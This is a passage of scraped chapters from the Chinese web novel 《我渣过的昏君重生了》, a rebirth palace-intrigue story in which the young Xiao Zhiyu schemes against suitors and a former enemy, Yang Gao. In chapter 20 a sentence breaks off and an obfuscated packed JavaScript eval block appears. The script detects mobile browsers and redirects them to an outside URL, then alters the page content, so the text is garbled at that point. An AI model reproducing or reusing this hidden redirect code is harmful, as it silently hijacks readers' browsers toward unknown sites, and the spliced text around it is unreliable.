陆振嘴巴动了动,叹了口气。离开前他特意去检查过,帐子被划开一道半尺来长的口子,若推断不错,就是那小娘子放的蛇。他当时也极为意外,没想到小娘子长得那么漂亮,做的事却叫人不寒而栗。 原本他还想打听打听那小娘子与住这顶帐子的人是否有仇,恰巧这时长安来传信的人到了,李承秉当即决定回去,他也就没去问情况。幸而蛇无毒,只 12. 第十二章 《我渣过的昏君重生了》全本免费阅读 丑时三刻,正是困倦难捱的时候,肖如英被肖思齐这突如其来一声喝吓得睡意全无。 肖稚鱼已扑通跪倒在地。交代潮生捉蛇,她就没想过这事能瞒过阿兄。 肖如英不知发生了何事,肖思齐对姐妹两个来说如兄如父,是她们最大的依靠,他也知道这一点,将她们保护的很好,极少有这么疾言厉色的时候。 “阿兄。”肖如英轻唤一声,要为幼妹求情。 肖思齐道:“你先听着,让她自己说。” 肖稚鱼方才也被肖思齐的冷脸吓得怔了一怔,可很快就恢复了平静,阿兄不是守正迂腐之人,前世不是,今生当然也不会是。 她对着兄姐两人并无隐瞒,老实交代了前因后果,“……我瞧见郭家二郎藏着个随从在帐中,行止狎昵,就想着把人吓出来,让大家瞧明白。” 肖如英万万没想到行猎帐子里有蛇居然是幼妹的手笔,一时间眼都睁圆了。 肖思齐眉头皱起:“你看见了,告诉我和英娘就是,为什么要冒险自己动手,稍有不慎让蛇咬着自己怎么办?” 肖稚鱼听他的口气,知道阿兄更担心她的安危,笑道:“咱们家并无长辈,各家内宅中的消息难以打听,若我告诉阿兄阿姐,一则我只是个孩子,说的话不够分量,二则,阿兄阿姐知晓内情,当着林家二夫人的面也很难拒绝,旁人背后还要说咱们家不知好歹,如今闹得人尽皆知,再拒这门亲事便是理所应当。” 肖思齐微微眯起眼,低头看她。 肖稚鱼老实跪着,脊背却挺得笔直,她身子未足量,单薄的像是一朵在夜风中瑟缩的花儿。 肖思齐道:“若是让人当场拿住,又该怎么办?” 肖稚鱼笑起来,脸颊若隐若现有个浅浅的涡,“有男子在帐外游荡,自然会惹人疑,换做是我这样年纪的,谁又会多心呢。就算是当场捉住,我哭闹一番,谁是谁非又怎说得清。” 肖如英听到此处,忍不住道:“你才多大,就敢这样?”在她心中,肖稚鱼还是个半大孩子,是贪玩吃喝的年纪,没想到她闷声不响做出这样的大事。 肖思齐沉吟不语,好半晌,他才开口:“你很聪明,想的也周到,我很高兴。” 肖如英忍不住道:“阿兄……”肖稚鱼才十二岁就这已这般大胆,若不约束,日后不知会不会更加无所顾忌。 肖思齐未做理会,他嘴里说着高兴,表情却很严肃,继续道:“可是比起聪明,我更希望你谨慎。这世上聪明的人很多,你若是仗着有几分小聪明就轻视他人,迟早有一天会被这份聪明所害。” 肖稚鱼早已将前后都考虑过一遍,听到阿兄这样说,仍是忍不住有些发虚。她的确被人抓了个现行,还是个身份极不一般的人。 她的声音没有刚才那么清脆,“阿兄,有的事时机很重要,错过了实在可惜。” 肖思齐道:“那就尽量不要自己动手。” 肖如英听刚才一番话,神色从惊讶逐渐变得有些复杂,轻轻叹了口气。 肖思齐目光在姐妹两人身上转过,道:“你们要记着,保全自身比什么都重要,便是一时受些委屈也无妨,能屈能伸才是真本事。幺娘如今还小,这是你今日能成事的关键,但是这点好处很快就要没了。那些被称为转机,时机的东西,都意味着冒险,我宁可你们错过机会,也不希望你们因为冒险将自己搭进去。” 说完他将肖稚鱼从地上搀起来,温和道:“不早了,去睡吧。” 肖稚鱼回到房里,上床盖上被子,眼圈渐渐红了——阿兄向来信奉谨慎行事,前世几次少见的冒险全是为了她,最后一次,齐王起兵,消息传来,朝堂之中有许多人不当回事,她听说阿兄在朝中接了无人愿去的调兵差使。大为着急,命人在宫门前拦住阿兄。 肖思齐站在宫门前,含笑看着她的神情似乎仍当她是个需要疼哄的孩子。 “娘娘什么都不需要做,外面有我在。”说完这一句,他便催促她快些回去。 肖稚鱼心中酸楚——他早看出她在宫中处境艰难,支持她立后的世家,只想打压沈家,并不在意她的安危死活。 真正记挂她的,只有她的阿兄。 可这一走,竟成永别,肖思齐再也没能回来。 眼泪滚滚而落,肖稚鱼将脸埋在被子里,藏了片刻才重又探出头来。她本就不是那种多愁善感,自怨自艾的女人。很快擦干眼泪,肖稚鱼心道老天让她重活一回,这次说什么都不能重蹈覆辙。 上一辈子她熬心费力,将李承秉放在心上的 13. 第十三章 《我渣过的昏君重生了》全本免费阅读 肖稚鱼在脑中将前世太子之事前后又想了一回,只觉得有心算无心,成算极大,她辗转反侧,到天明才合眼。第二日便起得晚了,潮落端水进来服侍她梳洗。 肖如英穿了一身青绿色衣裙进来,见肖稚鱼睡眼朦胧,困乏无力的模样,“没睡好?” 肖稚鱼点了点头,昨天行猎突然见着李承秉让她受了惊吓,晚上又想太多事,此刻头还发沉。 肖如英给她梳头发,手中握着她乌黑柔顺的如云发丝,暗自感叹妹妹又长大了些,出声道:“真是一天一个样,再过两年就要成大人了。” 肖稚鱼照在铜镜中的脸对她笑了笑。 肖如英动作麻利地给她挽成丱髻,道:“可只要你一天还没长大,就该乖乖听话,有我与阿兄在,有什么事先告诉我们,千万不能再如昨日那般去犯险。” 肖稚鱼转过身,见肖如英眼下有些青影,知道她担忧自己未曾睡好,便张手抱着肖如英的腰身道:“知道了。” 肖如英手指不轻不重地点她的额头,“也不知你哪来的胆,连蛇都敢去碰。” “阿姐快别说了。”肖稚鱼想着布袋里滑腻扭动的感觉心有余悸,脸皱成一团。 肖如英点了几句,见肖稚鱼是记着教训了,这才作罢,牵着她出去吃饭。 肖稚鱼见肖思齐不在,便问阿兄去了哪里。 肖如英道:“阿兄卯时起来,一大早出门去了。” 肖思齐习惯早起读书,头日夜里睡得再晚,第二日也从不睡懒觉。肖稚鱼对阿兄向来敬佩,也知他勤奋苦读,在外行走应酬一样不落,全为了要出人头地。她低头小口喝粥,心道:再等等。 等吃完饭,肖如英带着肖稚鱼一起在院中走动消食,然后又去书房练字读书。到了日落时分,肖如英拿了琵琶来,教肖稚鱼音律曲调。 肖稚鱼前世弹得一手好琵琶,便是肖如英手把手教授,入豫王府前她还曾跟着名师又学过一段时日,技艺越发精进。可惜李承秉此人实在没什么情调,她曾在月夜对他弹奏过一曲,乐声与景色皆美,哪知他听过转身就走了,好脸色都没给一个。 肖稚鱼后来才知,当今贵妃也擅琵琶,皇帝与贵妃是曲乐知音,贵妃得宠后,皇帝沉溺私情,少理朝政,疏于政事,这才让宰相与贵妃族人肆意揽权,因这个的缘故,李承秉对女子以曲乐争宠极为厌恶。自打知道此事,肖稚鱼便再也没有弹过琵琶。 肖如英手指一面在弦上拨弄,一面讲解乐理,抬头一看肖稚鱼似在出神,便重重弹了个音,“教你的可曾听进去?” 肖稚鱼忙点头,肖如英将琵琶递过来。肖稚鱼将琵琶抱着,她身子还未长成,琵琶对她来说显得过大过重。她轻轻抚弄,手指勾弦,利落几声。 肖如英眉梢一抬,听弦辨音,这几声不成曲调,但手势却见熟练,只是手上劲道还小。 她面露欣喜道:“果然有几分天赋。” 肖稚鱼不敢表现太多,将琵琶还了过去,又催促着阿姐弹奏,学了一个多时辰。天黑之前,肖思齐回到家中。 兄妹三人吃过晚饭,肖思齐叫肖如英去书房说话,他看了肖稚鱼一眼,稍作犹豫,道:“你也一起来。” 肖稚鱼顿时高兴,省了她去偷听的功夫,经过昨日的事,肖思齐也不全拿她当个孩子看待。若是家中以后遇着什么事,她还能光明正大地出主意。 肖思齐的书房十分简洁,书案,插架,笔墨等物都显陈旧。肖稚鱼目光遛了一圈,心下却有些几分怀念。 肖思齐将姐妹两个叫进来,没绕圈子,直接说起了肖如英的亲事。 肖如英“哎”的一声,看看肖思齐又看看肖稚鱼。哪有让幼妹来听姐姐亲事的。 肖思齐道:“昨日若非幺娘,郭二郎的亲事还难以回绝,家中只有我们三人,规矩没那么多,有些事不需隐瞒。” 肖 14. 第十四章 《我渣过的昏君重生了》全本免费阅读 肖如英不愿意让东郡肖家来干涉她的亲事,却没能说过兄长。 肖思齐口才极好,擅长说服人,何况他本就是一心为肖如英打算。 兄妹三个讨论了大半个时辰才散。第二日肖思齐写了两封书信,一封寄往东郡,另一封却是给他同窗好友,那是个士族子弟,常在外走动,消息灵通。 转眼大半个月过去,草木凋零,天气渐冷,已到了入冬时节。这日肖如英从箱子里翻出一件大翻领披袄,正在肖稚鱼身上比对尺寸,商量着哪里需要改,忽听院外有人叫门,潮落双手拢在袖里跑了出去,很快拿着一张帖子回来。 肖稚鱼将披袄放下,凑到肖如英身边去看是谁送来的帖。 肖如英看过之后,递给肖稚鱼,是林希真下的帖,请她们去林府品茗赏梅。 自行猎回来,林家派人来走动过几回。郭家二郎将婢子乔装做随从,外出行猎都不忘带在身边,这事传开之后,一时成了风流笑谈。郭家原就想着要给郭二郎配个绝色妻房,知道这事后越发着急,托林家二夫人来探肖家的口风。 肖思齐客气招呼林家人,却是态度坚决给拒了。没过多久,林家二夫人陆续送了两回东西来,有绸缎布匹和一些小娘子用的精巧物,显然有安抚之意。肖如英本不想收,肖思齐却笑了一声道:“收下无妨,当初她瞒着郭家的事撮合这门亲事,如今结亲不成,也不想落下埋怨,这才补偿示好,你收了还算卖个人情。” 肖如英收了帖子,晚上与肖思齐提起,肖思齐支持她们去走动,又问两人是否要添置首饰。肖稚鱼摆手道:“给阿姐多备一样,我不需要。” 兄姐两人不约而同侧目看来。 肖思齐道:“以前幺娘老是长不大,让人忧心,可突然变得这样懂事,我这心里怎么也有些过不得。” 肖稚鱼抬头灿烂一笑道:“金银玉翠对我太老气了些,阿姐才是应该好好打扮的时候,等再过三年,我也要问阿兄讨要首饰戴呢。” 肖思齐摸了摸她的头,“都有,不会少了你的。” 几日之后,肖思齐给两姐妹都带了首饰,肖如英得了一套蝴蝶金钗,肖稚鱼的是一朵宝石花簪子,大约是她那日嫌金银老气,这支簪子上镶着各色碎宝石,虽不是十分名贵,却各外精巧。 到了去林家那日,肖稚鱼便换了身新衣裳,戴着宝石花簪子跟肖如英出门往林家去了。 林希真在家门前亲自相迎,牵着肖如英的手道:“下帖请你才几日功夫,天越发冷了,今天一早我就让人剪了梅花,等会儿我们就在屋里赏玩,省得出去冻坏身子。” 肖如英没想到她如此热情,暗自惊讶,两人过去交情只算是平平,行猎时走近了一些,还是因为林家二夫人有意给她说亲,如今亲事肯定结不成了,怎么瞧着林希态度反而更加热络了。心里如此想,她脸上仍笑着与林希真寒暄。 林希真又夸肖稚鱼道:“登丰县里再没有比你家幺娘更水灵的小娘子了。” 一行人说着话往里走,穿过游廊的时候,迎面却和两个年轻郎君碰上。正是林家的四郎与七郎,林家人丁兴旺,子孙众多,岁数相近的好几个都外出游学了,留在县中的只有这四郎与七郎,原因无他,这两人资质平庸,都不是读书的料。 四郎年岁稍长,今年十九,七郎十六岁,两兄弟样貌生得还算周正,只是七郎脸上生着几个红色面疮,有些难看。肖稚鱼重生之后,从前的许多事都陌生了,看到林七郎,她突然想起来,之前两兄弟到肖家附近晃悠,肖稚鱼看见林七郎脸上面疮,朝他做了个鬼脸。林七郎生气,便指着她说,等肖家日后养不起她了,便把她买去林家做奴婢。 肖稚鱼前世长安多少名门贵胄的子弟都见过,如今看到林家兄弟两故作矜持,硬撑出一副公子的模样,不由暗自发噱。 林四郎道:“真娘,院子里开得最好的那株 15. 第十五章 《我渣过的昏君重生了》全本免费阅读 她朝窗连连看了好几眼,仗着年纪小,出于好奇多做打量也不失礼。 林希真的贴身婢女走上前将窗户合拢了些,笑着道:“方才烤火太闷了,娘子吩咐开窗透气,肖家小娘子别被冷风吹着了。” 窗边站着的婢女便挪了些位置,挡在窗旁。 若她们没这番动作,肖稚鱼还不确定,如今心头雪亮,确定窗外定有名堂。 另一头肖如英与林系低声说了几句,她无意抢主人风头,林希真再三邀她煎茶,语气神情俱是真挚,不见半点勉强,肖如英这才应了,坐到几案前取了茶饼筛滤。她微微垂目,举止专注,风炉上茶水煮沸,腾起缕缕白气,飘过她的面前,真个儿肤白若雪,香腮檀口,仿若一副上好的仕女图。 林四郎林七郎都暗暗看呆了去,直到分茶到面前才回过神来。 肖稚鱼去接茶时,林七郎也伸手,险些碰到,他这才发现拿错了茶碗,林希真与婢女暗自抿嘴偷笑。 林七郎脸上微红,自觉举止失措,失了风度,他虽没什么过人才识,脾气却不小,侧过脸瞪了肖稚鱼一眼。 肖稚鱼默然无语,在心里翻了个白眼。 众人饮了茶,少不了又夸赞一番。肖如英只推说是茶饼品质上佳。林希真听了格格笑道:“再好的茶,也需懂行的人才能煎煮出味,总归还是英娘的手巧。” 众人在厅中围坐,梅香缭绕,暖意如春,林希真又是个极会照顾场面的,没一刻冷落,先是聊了一会儿梅花,说些诗词,又将听来的都城趣闻说出来给大家听。众人都三两句发表意见。 肖稚鱼因年纪最小,不需多言,就拿了块糕点慢吞吞地吃着。 林七郎有意在肖如英面前展露些才识,奈何肚子里实在没什么货,还不如林四郎表现稳妥,对他这个岁数的少年郎来说,面子是一等一重要的,如今挣不到面子,他便有些心气不顺。打眼一瞧,肖稚鱼倒十分悠闲自在。 一个多月前肖如英来家中告过状,就是他随口一句调侃肖稚鱼的缘故,家中三叔公知道了,将他叫去好一顿训。他憋闷好几日,私下不忍怪责肖如英,如今瞧着肖稚鱼倒又勾起了这段旧事,心里别扭,压低声音讥讽道:“肖家小娘子吃慢些,莫非是早上没吃过饭,狼吞虎咽的?” 肖稚鱼眨了眨眼,心想这厮刚才就无端迁怒,如今心气不顺来找自己的晦气?看来也是个喜欢柿子挑软的捏。她自重活一世醒来,根本没打算和这些前世连名字都叫不上来的人计较。可林七郎实在有些讨嫌,常言道可一不可二,他这都一天之内第二回找她不痛快了。 肖稚鱼眼眸微动,看来是该让你认识一下人间险恶。 手里吃了一半的糕点扑通落到地上,肖稚鱼蓦然瞪大眼,含着一汪泪,站起跑到肖如英和林希真的身边,小脸涨的通红,微微垂了下眼,两颗晶莹的泪水缓缓滚落下来,挂在脸颊上。 “阿姐,林家阿姐,四郎兄长说不许我吃他家东西,要不就要把我卖了换银钱。” 肖如英脸上的笑顿时没了,脸色铁青,碍着还在林家并未当场发作。 林希真柳眉横竖瞪向林七郎,“七郎你混说什么。” 林四郎也赶紧道:“上回不过一场误会,你怎还记在心上,说玩笑话也不看场合。”说着便一拉林七郎,“快和肖家小娘子道歉。” 他们都知上回肖如英曾来告状的事,因此对肖稚鱼说的丝毫不作疑。 林七郎目瞪口呆,刚才他不过没按耐住脾气,随口讥讽一句,寻常小女郎上门做客,听了这话也只能干受委屈,哪知肖稚鱼却装出这副可怜样去告状,还编出恶毒话来污蔑他。林七郎顿时怒道:“你满嘴胡吣。” 肖稚鱼啪嗒啪嗒直掉眼泪,身子抖如筛糠,一面哭一面打着嗝道:“是……是我听错了……” 听她囫囵话都说不清,显然是害怕极了,林希真还真有几分心疼,今日是她请人到家中品茶,林七郎分明是折她的面子。林希真板着脸道:“七郎,莫要胡搅蛮缠,快来赔个礼认个错,这事就算揭过去了。” 林七郎险些拍案而起,“她胡言乱语,你也当真,气死我了,你,肖稚鱼,给我过来说清楚。” 林四郎抓住他的手腕,“七郎,你这么多年的书读哪儿去了?出言不逊在先,不知悔改在后。 16. 第十六章 《我渣过的昏君重生了》全本免费阅读 肖如英牵着她的手稍紧了一下,“我看婢女着紧窗户也觉得有些奇怪。” 肖稚鱼道:“不止这些,刚才林家七郎被叫出去,回来时脸色那么难看还服了软,我觉着这窗外偷看的人身份应当不一般,至少要强过林家许多。” 肖如英知道幼妹机灵,所说的猜测不会无的放矢。今日到林家来,林希真态度热络,内外皆透着些不同寻常,她心里也有些疑惑,只是一路都被林希真拉着说话,看的不如肖稚鱼仔细。 现在知道窗外有人,肖如英心头不免惴惴,深深呼吸两口气,将不安的感觉强压下去。 她见领路的婢女没有回头,声音又低了些,道:“你方才是不是戏耍林七郎?” 肖稚鱼在林希真面前装可怜,别人瞧不出来,肖如英与她朝夕相伴,怎会不了解她的性格,当着外人的面前只能陪着一道装傻生气。现在出来便忍不住要说她两句。 肖稚鱼抬脸讨好地笑道:“不怪我,都是他太讨嫌,再说那两句也不算是冤枉他,还不都是他当初说的。” 肖如英手指在她额头上一点,道:“在林家做客,可别做的太过分了。” “我晓得分寸。”肖稚鱼和阿姐保证。心里却没怎么当回事,她早看出来了,这林七郎是个没脑子的,脾气又大,在家却说不上什么话。 前面婢女已经停下来等姐妹两。肖稚鱼借口出来是为了和姐姐说话,提醒她可能有外人在暗处观察。这时候做了个样子,磨蹭片刻,出来和肖如英往回走。 院子里有段铺着石头的小路,靠着院墙有个养鱼的池塘,旁边斜着一株杨柳,枝条几乎垂到水面上,此时却有个男子身影站在树旁。 肖如英脚步缓了缓,和肖稚鱼对视一眼。 男子转过身来,对她们拱手作揖道:“肖家娘子。” 此人面熟,正是在城郊林子里有过一面之缘的郎君,他举止有大家之风,样貌虽不见出众,但气质儒雅随和,倒也不俗。 肖如英颔首回礼,心微微紧了起来,猜到在窗外看着人就是他。 肖稚鱼上下打量他,知道阿姐有些话不能直接问,便歪着头,笑吟吟如孩童般问道:“你是谁?” 男子道:“在下郭令,家中行四。” 肖稚鱼听他口音已知他来路,却仍是问一句,“是郑县郭还是太原郭?” 男子微笑道:“太原郭氏。” 肖稚鱼脑中飞转,想着太原郭家的人和事。前世大多时间出面与郭氏周旋的是肖思齐,她记得最清楚的是郭家在朝中的两个老狐狸,其他几个出众的子弟也有所耳闻,但是这位郭令,郭四郎,她却是半点印象都没有。 她想着事没说话。肖如英想着也不能干站着,开口道:“我们先回去了,郭家郎君自便。” 郭令往前迈了一步,道:“听说你们是来赏梅的,我刚折了一枝,给肖家娘子赏玩。”他背在身后的手伸出来,果然拿着一枝梅,花瓣娇嫩,幽香阵阵。 肖如英怔了下,抬眼看过去,正对上郭令的一双眼。他五官其余皆平平,唯有一双眼,和煦如三月春阳,令人心折。 肖如英没动,郭令神色不改,依旧微微笑着,手调转个方向,递向肖稚鱼,“小娘子收着也是一样。” 肖稚鱼想了想,将梅花接下,道:“驱蛇的药粉是你送来的?” 郭令点头。 “有心,多谢了。”肖稚鱼说着一拉肖如英,往小厅去了。 等离开小池塘,拐了个弯,肯定是看不见人了,肖稚鱼将手里的梅花晃了两下,塞到肖如英手里。 肖如英脸微微发红,郭令现身,明摆来示好,是什么意图她当然清楚,就是因为如此,她此刻心里颇为乱糟糟的。他不像之前林四林七,或是县中其他纨绔,示好的手段幼稚粗劣。郭令则要坦然自若的多了。 肖稚鱼似是猜到她想些什么,道:“不过是一包药粉一枝梅花,阿姐不必想那么多,若真有诚意,日后自会有其他表示,若不是,扔了就是。” 肖如英暗叹自己还不如妹妹豁达随意,进入小厅前就将心情收拾好,如离开时一样。 林希真看见她手里的梅花,目光微动,却什么都没有提。婢女又送了新做的点心上来,林希真招呼着众人吃。 肖稚鱼捻了一块,和林七郎目光对个正着。林七郎脸皮一抽,扭过头去。 林四郎年纪最长,见气氛有些冷淡下来,便起了个话题,道:“要说最近天下也出了不少大事,长安城里,宰相向陛下告发,说太子妃之兄与边将密会,构谋规立太子,如今被贬官,牵连的人不少,唉,如今宰相势大,东宫根本不能敌。” 年轻郎君对议论朝局天然便有冲动,林七郎立刻忘了刚才丢面子的事,道:“我也知,如今长安两种人活得最是滋润,一是贵妃的亲朋故右,二是跟着宰相的人。” 林希真听了,对宰相没什么想法,反倒是叹道:“如此说来,太子妃真是可怜,兄长被构陷贬官,她说不定也要被太子埋怨,日子难过呢。” 林四郎笑道:“你这小娘子,太子妃金尊玉贵的,还用你担起心来。” 林希真道:“难道我说的不是?”说着她去问肖如英,“英娘怎么看?” 肖如英不想评论国事,含糊道:“太子妃的难处我如何能体会的,许是胸襟气度与常人都不一样。” 林四郎与林七郎起了个头,却是又议论宰相诸多行事针对东宫,“太子被欺成这样,满朝官员都不敢出声,听说只有豫王与太子交好。可惜豫王在这事上也说不上话。” 肖稚鱼默默听他们说着,这些事她早就知道,半点也不觉得新鲜。 只听林七郎道:“那日我听长辈说,太子与太子妃去陛下面前跪了半日,才让陛下生了怜惜之心,宰相听到风声,查案收敛许多,不然还不止是贬官这么简单。” 肖稚鱼心突地蹦了一下,脱口而出:“什么?” 厅中众人闲说长安城的事,肖稚鱼一直都是乖巧听着,这一下突然出声,让林希真几个目光齐刷刷看过来。 肖稚鱼追问道:“太子与太子妃在陛下面前跪了半日?” 林七郎看她不顺眼,哼声道:“你这小娘子忒是无礼,我刚才说的明白,太子与太子妃不惜颜面,跪了两个多时辰,才让陛下有意维护,不然以如今宰相权势,太子只怕也落不了什么好。” 林四郎到底还是沉稳些,赶紧道:“长安宫中的事,我们也都是从别处听来,切莫深究。” 肖如英微微侧过身来,低声问肖稚鱼,“怎么了?” 肖稚鱼见林家兄妹也都看着自己,将心头的惊诧藏了起来,脸上漾起个笑道,“我不知太子也有犯难的时候,所以才惊讶。” 林希真与林四郎一听,心里想的都是,到底还是半大孩子,看法着实天真。 等众人说笑着又议论其他话题,肖稚鱼微微垂目,手里一块糕点被她刚才不小心捏碎了,她将饼屑扔进空碟之中,拿了帕子擦手。这一番动作慢条斯理,掩盖了她心底一阵翻涌而上的惊诧。 太子的事竟和她所知的经过不同了。 前世皇帝骤然病故,不到一个月时间,太子又中毒而亡,朝廷内外皆动荡不安,李承秉在宗亲与重臣拥护下仓促登基,他对太子之死耿耿于怀,命人将东宫所有人全看押起来,前后审了三回,找到在庖屋中投毒的宫人,此人却早已自戕,自此太子之死成了宫中一桩悬案。 肖稚鱼能知道太子诸多旧事,也是因为宫中有个曾在东宫服侍多年的宫人。她记得很清楚。这个时候的太子被宰相打压的最厉害,太子妃韦氏娘家被诬告之时,太子无力反抗,整整一个月闭门不出。根本没有去陛下面前长跪请罪的事。
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肖思齐哼了一声道:“他接手家族生意已有几年,游历各地,见识能比你少?你既看出郭令是有招揽之意,又何必多嘴去阻挠。刚才那杨杲,举止谈吐皆不凡,今日帮着寻回被偷之物,是义举,又是弘农杨氏之后,若郭令不施以援手,日后被其他士族知晓名声不好听,帮他一把又能如何,不过是在郭家安排个差事,太原郭家还怕多养个人?” 肖稚鱼暗道这就是杨杲狡猾可恨之处,他向来擅于揣摩人心。 “阿兄难道不觉得此人样样皆是恰到好处,他追盗贼受了伤,先卖了个好,又拒钱财赏赐,让郭家兄长欠他个人情,杨杲到底是不是弘农杨氏现在也难考证,自他出现,每一桩都像是设计好的,”肖稚鱼道,“对了,他将盗贼追到何处,又怎么受的伤,可以叫人去现场瞧一瞧,看他是不是说了假话,若盗贼与他是同一路的,这份心机就太过可怕。如何能让这样的人留在身边?” 肖思齐长叹一声,神色严肃道:“幺娘,刚才那些话出了这屋你不许再提。” 他看了她一眼,道:“叫旁人听了,只会觉得你心术不正,恶意度人。这本就是郭家的事,你又何必去趟这浑水。” 肖稚鱼见阿兄脸色铁青,只好点头。 肖思齐缓了缓脸色,道:“凡是家道中落,处境落魄之人,有难得的机缘都想要表现得好些,这是人之常情,你不能只学清醒看人,还要学会糊涂待人,懂吗?” 肖稚鱼知道肖思齐所说皆是良苦用心。可惜前世的事她不能透露,杨杲此人没那么简单。不管是跟着齐王,还是帮她,都是为自己谋权,他反复无常,从无忠诚可言。 他能白日与你互诉衷情,晚上却要将你逼上绝路,嘴上说有苦衷,行动却是再无情不过。 前世旧仇未消,今生竟然在他未发迹前就碰上——肖稚鱼可不想这样容易就放过他,话说到这个份上,明面上不能动,她还需要另想法子。 20. 第二十章 肖思齐稍坐片刻便走了,因这次出行由郭令安排,肖家兄妹各住一间,肖如英平日在家对妹妹照顾惯了,看着肖稚鱼梳洗完毕,见她说笑如常,放下心来,将潮落留下照顾她,自己回对面屋歇息。 客栈二楼有郭令带来的侍卫值守,生人难以靠近。 肖稚鱼在窗前站了片刻,见外间云稠夜色浓,庭院中已点灯,枝叶横斜,寒风吹过,便晃动着一片凌乱的影。她看见郭令身旁随从来到院子里,招手将客栈小厮叫了过去,不知在说些什么。 肖稚鱼露出思索的表情。 潮落出去倒水,进屋来赶紧关了窗户道:“幺娘前些日子才病过,可不能再吹冷风。” 肖稚鱼招手叫她过来,窃窃私语一段。潮落眼睛睁大,摇头道:“幺娘还是快睡吧,莫玩了。” “我睡不着,就帮我这一回,好潮落,我记着你的好。”肖稚鱼拉着她的手,道,“若是你不帮我,我就自己出去找人。” 潮落面露为难,她自幼便陪伴在肖稚鱼身边,感情深厚,拿她看作亲妹妹般。听肖稚鱼半哄半劝半日,已是有些心软,这时又听肖稚鱼说“不过说些闲话,又能出什么事”,潮落觉得有理,心想肖稚鱼只是有些顽皮,最终耐不住她磨还是答应下来。 肖稚鱼笑起来,俯首帖耳教潮落说话,这才放她离去。 潮落从内堂出去,站在门前左顾右盼,就听旁边有人道:“潮落,是不是肖家娘子有什么吩咐?” 问话的正是郭令贴身随从安乐,他生的面白,总是笑嘻嘻的,瞧着十分随和可亲。行路几日下来,潮落早就知道他和安平两个都是从小就跟着郭令的,颇为倚重。她想起肖稚鱼的吩咐,道:“是我小娘子睡不着,说屋里有些怪味,我出来看看院子里是不是有花,摘两支回去放在床头。” 安乐道:“这些客栈年头久了,许是木头腐朽生出味来,天气这样冷,院里也没开什么花,我去找些好闻的香,过会儿就给小娘子送去,保管她睡的安稳。” 潮落笑道:“那就多谢了。” 安乐忙摆手道不必,等潮落走了,他赶紧转身去了房中,在包袱中翻找,很快找出一盒熏香。这是去年郭令从长安带回来的,听说是新调的方子,价值不菲,当时他私下克留了一些,想着日后或许有什么用处——现在可不就是机会来了。 安乐跟着郭令,最清楚他心中如何重视肖家娘子,这次为了陪着肖家回东郡,还推了不少正事。他用这香来讨好肖家小娘子,或许未必有什么大用,但能讨个好总是不错的。等日后肖家娘子嫁过来,他寻机会提一嘴,这香就值了。安乐想了想,将盒子塞入怀中离开屋子,穿过内堂上楼梯。 来到二楼,最内侧的一间就是肖家小娘子住,安乐捋了捋衣袖,见门虚掩着,正要敲门,这时听见里面传来说话的声音,他动作就是一顿。太原郭氏规矩甚严,主客说话时不能打断。他听见潮落说着:“……都是民间把戏,要说这种法子说难不难,说简单也不简单,两个合起伙来,一个唱黑脸一个唱红脸,小娘子知道这是什么意思吗?就是一个做坏事,另一个则出面阻拦,人当然是不能捉住的,但对着那些达官贵人,就是立了功,这时若是再花言巧语说番好话,说不定就让人赏识收纳,从此就是大不同,这些人通常有几分小聪明,又有手段,用不了多久,就会被重用,可惜那些原本衷心的,却要比不过……” 安乐听到这里,心咚咚直跳,立刻想到今日发生的事,他正是手里包袱被抢之人,若说他为何急着讨好肖家人,也有犯错这个缘故在里头。安乐脸色幻变,这时里面却静下来,他赶紧神色一敛,重又摆出一副笑脸,敲了敲门。 肖稚鱼拿着安乐送来的熏香,谢了一声让潮落拿赏钱,不过几枚铜钱,安乐却笑得见牙不见眼,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12564936|133062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出了门,他却笑容骤然一收,随手将铜钱收好,从楼梯下来的时候,差点因为分心踩空。他站在内堂中,心想什么民间把戏,可不就是今日的情形吗? 安乐知道,刚才郭令还叫安平去找客栈中的人的打听杨杲为人。摆明有将杨杲收入府中任用的意思。安乐此人虽然生得面善,举止神态也有意向郭令学,对外处事一派和气,但实际上却是不容人的,气量狭小,今日他自觉丢脸,对杨杲找回失物并不高兴,反而有些厌恶。再听刚才那一番话,越想越觉得蹊跷。世上的事哪有那么巧的,若杨杲有意做戏,日后入了府,只怕很快就要得到郭令赏识。 安乐有自知之明,他虽然跟着郭令时间很长,但论才干和识眼色,他都不如安平,这两年郭令对安平的倚重远在他之上,若再来个厉害的……那个杨杲会拳脚,谈吐见识都不凡,出身也比他好许多。安乐站在廊下,身体几乎隐在阴影中。 他朝地上狠狠啐了一口,宵小之辈,也敢往太原郭家凑 。 安乐快步回房,又从自家包袱里找出两贯钱,出去隔壁屋,将刚要躺下睡觉的仆从叫起,道:“几位哥哥,我有件要紧事要劳烦大家,这钱就是酬劳,做的好了,日后兄弟记着这份情,做的坏了,我一力担了,绝不叫大家为难。” 仆从几个知道他的脾气,什么一力担了全是虚话,但钱倒是实在,于是纷纷问什么事。安乐说了几句,仆从看他的眼神都有些怪,心想这可不是个好东西,但面上还是热情道:“小事一桩,咱们这就过去。” 安乐笑眯眯的,知道这几人也都练过拳脚,所以这回才能跟着郭令出来,他跟在几人身后,他们一行穿过院子,来到一排仆从所居屋舍,几人数过去,很快就来到其中一间。有人道:“可是杨杲主在这儿?” 屋里立刻有人来开门,“正是我。” 门刚打开,几人就一拥而上。 21. 第二十一章 杨杲大惊,方才听门外问声,他猜到是郭家仆从,还暗自欣喜,没想到开门却被冲进屋子的四五个人制住。杨杲错愕一瞬后里立刻便要反抗,但他手上有伤,这几个仆从又身板结实,人数占优,很快就四手八脚将他困住。 “你们做什么?”杨杲被扣住手脚,面色涨红,“莫非郭家公子要恩将仇报?” 安乐这时从外面走进来,嘴角含笑,上前却毫不客气“啪”地甩了杨杲一记耳光,“无耻小儿,竟还敢攀咬我们郎君,也不撒泡尿照照自己,敢以恩情自居。” 屋内只点了一支蜡烛,杨杲的脸迅速肿了起来,他是聪明人,一听安乐口气,就知道此事与郭令无关,当即就要张嘴喊人。 